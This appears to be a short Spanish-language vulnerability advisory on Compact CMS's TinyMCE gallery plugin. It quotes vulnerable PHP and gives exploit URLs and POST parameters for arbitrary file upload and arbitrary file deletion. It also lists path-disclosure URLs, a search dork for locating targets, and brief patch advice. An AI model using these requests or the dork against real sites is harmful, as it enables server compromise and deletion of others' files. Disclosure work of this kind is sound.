Compact CMS - Multiples Vulnerabilidades

Compact CMS
HomePage : http://www.compactcms.nl/
Vulnerbilidad : Arbitrary File Upload | Remote File Remove

Sec-Tester : Xonk - xonkcryp [at] gmail [dot] com
Dork : "Maintained with CompactCMS"

Arbitrary File Upload
Descripcion :
-Permite subir al servidor cualquier tipo de archivo , con lo que se podria obtener un control total de los archivos del servidor .

<?php

// Archivo : admin/includes/tiny_mce/plugins/advimage
// Linea : 212

if ($act == 'upload') {
$name = $_FILES['upload']['name'];
if (!is_dir($dirname)) {
  mkdir($dirname,0777);
};
if (file_exists("$dirname/$name"))  {
    echo "<p>"._EXIST." $dirname/$name </p>";
} else {
   if (is_uploaded_file($_FILES['upload']['tmp_name'])) {
      if (move_uploaded_file($_FILES['upload']['tmp_name'],"$dirname/$name" ))
....
?>

http://[path]/admin/includes/tiny_mce/plugins/advimage/gallery.php?dirname=[Directorio-Upload]

Example :
http://[path]/admin/includes/tiny_mce/plugins/advimage/gallery.php?dirname=C:/xampp/htdocs/

Obteniendo el Directorio del Uploader por defecto :
http://[path]/admin/includes/tiny_mce/plugins/advimage/gallery.php?act=upload

Path Disclosure :
http://[path]/admin/includes/tiny_mce/plugins/spellchecker/classes/EnchantSpell.php
http://[path]/admin/includes/tiny_mce/plugins/spellchecker/classes/GoogleSpell.php

Patch :
-El acceso debe estar permitido solo administrador
-Revisar la extension del archivo subido , en este caso el codigo se hizo unicamente para subir archivos de tipo imagen , las extensiones a revisar son : .jpg , .jpeg , .gif , .png

Remote File Remove
Descripcion :
- Permite borrar cualquier archivo del servidor

<?php
...
// Archivo : admin/includes/tiny_mce/plugins/advimage

// Linea : 210
if (isset($_POST['act'])) $act = $_POST['act'];

//Linea : 231
if ($act == 'delete') {
// do delete file
@unlink($IMGFOLDER.'/'.$_POST['fname']);

...
?>

http://[path]/admin/includes/tiny_mce/plugins/advimage/gallery.php
Send :
$_POST["fname"] = "Nombre-del-archivo-a-borrar"
$_POST["act"] = delete

Patch :
-El acceso debe estar permitido solo administrador